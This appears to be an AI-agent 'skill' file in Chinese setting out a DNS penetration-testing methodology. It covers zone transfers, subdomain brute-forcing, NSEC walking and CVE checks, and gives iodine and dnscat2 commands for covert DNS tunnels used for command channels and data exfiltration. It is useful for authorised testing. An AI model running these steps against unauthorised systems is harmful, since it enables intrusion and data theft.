wgpsec/dns-pentesting

DNS 渗透测试方法论 (53)

深入参考

• DNS 枚举与利用命令大全（dig / nslookup / dnsrecon / dnsenum / fierce / nmap 脚本） -> 读 references/dns-techniques.md

---

整体决策树

发现 53 端口开放 (TCP/UDP)
├─ Phase 1: 服务发现与版本识别
│   ├─ 确定 DNS 软件与版本 (BIND / Windows DNS / dnsmasq / PowerDNS)
│   ├─ 判断是否权威服务器 (authoritative) 还是递归解析器 (recursive)
│   └─ 检查递归查询是否开放
│       ├─ 开放 -> 标记为可被滥用 (DNS 放大攻击)，同时利用递归获取缓存信息
│       └─ 关闭 -> 仅可查询该服务器负责的区域
├─ Phase 2: 区域传送测试 (AXFR)
│   ├─ 成功 -> 获取完整区域记录，提取所有主机名、IP、内部域名
│   └─ 失败 -> 进入 Phase 3/4 逐步枚举
├─ Phase 3: DNS 记录枚举
│   ├─ A / AAAA / MX / NS / TXT / SOA / SRV / CNAME
│   ├─ AD 环境 SRV 记录 (_kerberos / _ldap / _gc)
│   └─ DNSSEC 记录 (DNSKEY / DS / NSEC / NSEC3)
│       └─ NSEC 遍历 -> 枚举所有域名 (未使用 NSEC3 时)
├─ Phase 4: 子域名枚举
│   ├─ 字典爆破 (dnsenum / dnsrecon / fierce / gobuster dns)
│   ├─ NSEC walking (针对 DNSSEC 签名域)
│   └─ 被动收集 (crt.sh / SecurityTrails / 不在本 skill 范围)
├─ Phase 5: 反向查询
│   ├─ PTR 记录反向解析 (目标 IP 段)
│   ├─ 发现内部主机名 -> 扩大攻击面
│   └─ 交叉验证 A 记录与 PTR 记录一致性
├─ Phase 6: DNS 隧道检测与利用
│   ├─ 检测 -> 观察异常长 TXT/NULL 查询、高频子域查询
│   └─ 利用 -> 通过 DNS 建立隐蔽数据通道 (iodine / dnscat2 / dns2tcp)
└─ Phase 7: 已知漏洞
    ├─ BIND 版本已知 -> 查询对应 CVE
    ├─ DNS 缓存投毒 (Kaminsky attack variant)
    └─ DNS 递归放大 (DDoS 反射)

---

Phase 1: 服务发现与版本识别

1.1 端口扫描与服务探测

# Nmap 基础扫描 — TCP/UDP 均需覆盖
nmap -sV -sC -p 53 <IP>
nmap -sU -sV -p 53 <IP>

# Nmap DNS 专项脚本
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>

1.2 版本识别 (Banner Grabbing)

DNS 版本识别
├─ BIND nameserver
│   ├─ dig version.bind CHAOS TXT @<IP>
│   └─ dig version.server CHAOS TXT @<IP>
├─ fpdns 指纹工具
│   └─ fpdns -D <IP>
├─ Nmap nsid 脚本
│   └─ nmap -sU -p 53 --script dns-nsid <IP>
└─ 判断结果
    ├─ BIND 9.x -> 记录精确版本，查询 CVE
    ├─ Windows DNS -> 通常不返回版本，结合 OS 指纹推断
    └─ dnsmasq / PowerDNS -> 各有特定漏洞历史

关键判断：

• 版本可查 -> 直接搜索对应 CVE，跳转 Phase 7
• BIND < 9.11 -> 多个远程漏洞
• 递归开放 -> 可用于信息收集 + 标记放大攻击风险

1.3 递归查询检测

# 查询外部域名 — 如果返回结果则递归开放
dig google.com A @<IP>
# 检查响应中 "ra" (recursion available) 标志
# flags: qr rd ra -> 递归可用
# flags: qr rd    -> 递归不可用

---

Phase 2: 区域传送测试 (AXFR)

2.1 区域传送决策树

测试区域传送
├─ 已知域名
│   ├─ dig axfr <DOMAIN> @<IP>
│   └─ 成功 -> 导出完整区域文件，提取所有记录
├─ 域名未知
│   ├─ dig axfr @<IP>  (无域名尝试)
│   ├─ 通过 SOA 查询获取域名: dig SOA @<IP> <IP_range>
│   └─ 通过反向解析猜测域名
├─ fierce 自动尝试
│   └─ fierce --domain <DOMAIN> --dns-servers <IP>
│       (自动对每个权威 NS 尝试区域传送，失败后进行字典爆破)
└─ 结果处理
    ├─ 成功 -> 保存完整记录，提取内部 IP、主机名、邮件服务器
    └─ 失败 (REFUSED / NOTAUTH) -> 配置正确，进入其他枚举方式

2.2 区域传送成功后的分析

从区域文件中提取的高价值信息：

• 内部主机名与 IP 映射 -> 扩大攻击面
• MX 记录 -> 邮件服务器位置
• TXT 记录 -> SPF/DKIM 配置、可能的验证令牌
• SRV 记录 -> 服务位置（AD 环境尤为重要）
• CNAME -> 外部依赖、可能的子域接管

---

Phase 3: DNS 记录枚举

3.1 常用记录类型查询

# 标准记录查询
dig ANY @<IP> <DOMAIN>
dig A @<IP> <DOMAIN>
dig AAAA @<IP> <DOMAIN>
dig TXT @<IP> <DOMAIN>
dig MX @<IP> <DOMAIN>
dig NS @<IP> <DOMAIN>
dig SOA @<IP> <DOMAIN>
dig CNAME @<IP> <DOMAIN>
dig SRV @<IP> _http._tcp.<DOMAIN>

3.2 Active Directory SRV 记录

AD 环境 DNS 枚举
├─ 域控定位
│   ├─ dig -t SRV _gc._tcp.<DOMAIN> @<IP>
│   ├─ dig -t SRV _ldap._tcp.<DOMAIN> @<IP>
│   ├─ dig -t SRV _kerberos._tcp.<DOMAIN> @<IP>
│   └─ dig -t SRV _kpasswd._tcp.<DOMAIN> @<IP>
├─ nslookup 交互查询
│   └─ nslookup -type=srv _kerberos._tcp.<DOMAIN> <IP>
└─ Nmap SRV 枚举脚本
    └─ nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='<DOMAIN>'"

关键判断：发现 AD SRV 记录 -> 确认域环境存在，联动 ad-domain-attack skill

3.3 DNSSEC 枚举

DNSSEC 检查
├─ 查询 DNSKEY 和 DS 记录
│   ├─ dig DNSKEY <DOMAIN> @<IP> +dnssec
│   └─ dig DS <DOMAIN> @<IP>
├─ NSEC 记录遍历 (zone walking)
│   ├─ 域使用 NSEC (非 NSEC3) -> 可枚举所有域名
│   └─ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=<DOMAIN> <IP>
└─ NSEC3 -> 哈希保护，需离线破解或放弃遍历

---

Phase 4: 子域名枚举

4.1 字典爆破

子域名爆破策略
├─ dnsenum
│   └─ dnsenum --dnsserver <IP> --enum -p 0 -s 0 -o subdomains.txt -f <WORDLIST> <DOMAIN>
├─ dnsrecon
│   └─ dnsrecon -D <WORDLIST> -d <DOMAIN> -n <IP>
├─ dnscan (支持递归发现)
│   └─ dnscan -d <DOMAIN> -r -w <WORDLIST>
├─ gobuster dns 模式
│   └─ gobuster dns -d <DOMAIN> -w <WORDLIST> -r <IP>:53
└─ 字典选择
    ├─ 快速: subdomains-top1million-5000.txt
    ├─ 标准: subdomains-top1million-20000.txt
    └─ 深度: subdomains-top1million-110000.txt (SecLists)

4.2 IPv6 子域名枚举

# 使用 AAAA 请求爆破 IPv6 地址
dnsdict6 -s -t <DOMAIN>

# IPv6 反向枚举
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48

---

Phase 5: 反向查询

5.1 反向 DNS 爆破

反向解析策略
├─ 目标网段 PTR 扫描
│   ├─ dnsrecon -r <IP_RANGE>/24 -n <IP>
│   ├─ dig -x <TARGET_IP> @<IP>
│   └─ dig -x <TARGET_IPv6> @<IP>
├─ 内网常见段
│   ├─ dnsrecon -r 127.0.0.0/24 -n <IP>
│   └─ dnsrecon -r 127.0.1.0/24 -n <IP>
└─ 结果分析
    ├─ 发现内部主机名 -> 构建主机名列表用于后续枚举
    └─ 发现子域 -> 将其作为 AXFR/爆破的新目标

提示：如果子域名解析到内部 IP，尝试对该域名的权威 NS 进行反向 DNS 爆破，可能暴露更多内部基础设施。

5.2 在线反向查询

BGP 路由信息可辅助确定目标 IP 段归属：https://bgp.he.net/net/<IP_RANGE>#_dns

---

Phase 6: DNS 隧道

6.1 检测 DNS 隧道

DNS 隧道特征识别
├─ 网络层指标
│   ├─ 异常长的 DNS 查询 (>50 字节子域名)
│   ├─ 高频 TXT / NULL / CNAME 查询
│   ├─ 单一域名的超高查询量
│   └─ DNS over TCP 流量异常增多
├─ 检测工具
│   ├─ tcpdump -i <IFACE> -n port 53 (人工分析)
│   ├─ Wireshark dns 过滤器 + 统计分析
│   └─ Zeek/Bro dns.log 异常检测
└─ 判断
    ├─ 发现隧道 -> 分析隧道工具类型，评估数据泄露风险
    └─ 未发现 -> 可自行建立隧道用于数据渗出

6.2 建立 DNS 隧道

DNS 隧道工具选择
├─ iodine (IP-over-DNS)
│   ├─ 需要控制一个域名的 NS 记录
│   ├─ 服务端: iodined -f -c -P <PASSWORD> 10.0.0.1 tunnel.<DOMAIN>
│   └─ 客户端: iodine -f -P <PASSWORD> tunnel.<DOMAIN>
├─ dnscat2 (命令控制通道)
│   ├─ 服务端: dnscat2-server <DOMAIN>
│   └─ 客户端: dnscat2 <DOMAIN>
└─ dns2tcp
    ├─ 适用于 TCP 端口转发
    └─ 配置文件方式运行

---

Phase 7: 已知漏洞

7.1 漏洞检测决策树

DNS 版本已知
├─ BIND 漏洞
│   ├─ CVE-2021-25216 — BIND 9.x GSS-TSIG 缓冲区溢出
│   ├─ CVE-2020-8617 — BIND 9.x TSIG 验证绕过导致 DoS
│   ├─ CVE-2017-3143 — TSIG 认证绕过允许未授权区域更新
│   ├─ CVE-2016-2776 — BIND 9.x 响应构造 DoS
│   └─ 旧版本 -> 搜索 "BIND <version> CVE"
├─ Windows DNS
│   ├─ CVE-2020-1350 (SIGRed) — Windows DNS Server RCE (CVSS 10.0)
│   │   └─ 检测: nmap -p 53 --script dns-check-zone <IP> + 版本确认
│   └─ CVE-2021-24078 — Windows DNS Server RCE
├─ dnsmasq
│   ├─ CVE-2020-25681~25687 (DNSpooq) — 缓冲区溢出 + 缓存投毒
│   └─ CVE-2017-14491 — dnsmasq 堆溢出 RCE
├─ DNS 缓存投毒
│   ├─ 检测随机 TXID: nmap --script dns-random-txid <IP>
│   ├─ 检测随机源端口: nmap --script dns-random-srcport <IP>
│   └─ 两者均弱 -> Kaminsky 攻击变体可行
└─ DNS 递归放大 (DDoS)
    ├─ 递归开放 + ANY 查询响应 -> 放大因子高
    └─ dig ANY <LARGE_DOMAIN> @<IP>  (测试放大比)

7.2 Metasploit 模块

# DNS 枚举
auxiliary/gather/enum_dns

# DNS 放大扫描
auxiliary/scanner/dns/dns_amp

---

后渗透

获得 DNS 服务器访问权限后，检查以下配置文件：

| 文件路径 | 关注内容 | |---------|---------| | /etc/bind/named.conf | allow-transfer / allow-recursion / allow-query 配置 | | /etc/bind/named.conf.local | 区域定义、密钥文件路径 | | /etc/bind/named.conf.options | 转发器、ACL 策略 | | /etc/resolv.conf | 上游 DNS 服务器 | | host.conf | 解析顺序配置 | | /etc/bind/named.conf.log | 日志配置、可能泄露查询历史 |

关键配置审计：

• allow-transfer { any; } -> 区域传送未限制
• allow-recursion { any; } -> 递归查询对外开放
• allow-query { any; } -> 无查询来源限制
• TSIG 密钥文件 -> 可用于授权区域更新

---

邮件探测技巧

向目标域不存在的邮箱地址发送邮件，NDN（不可送达通知）回弹邮件的头部可能泄露内部服务器名称和 IP 地址。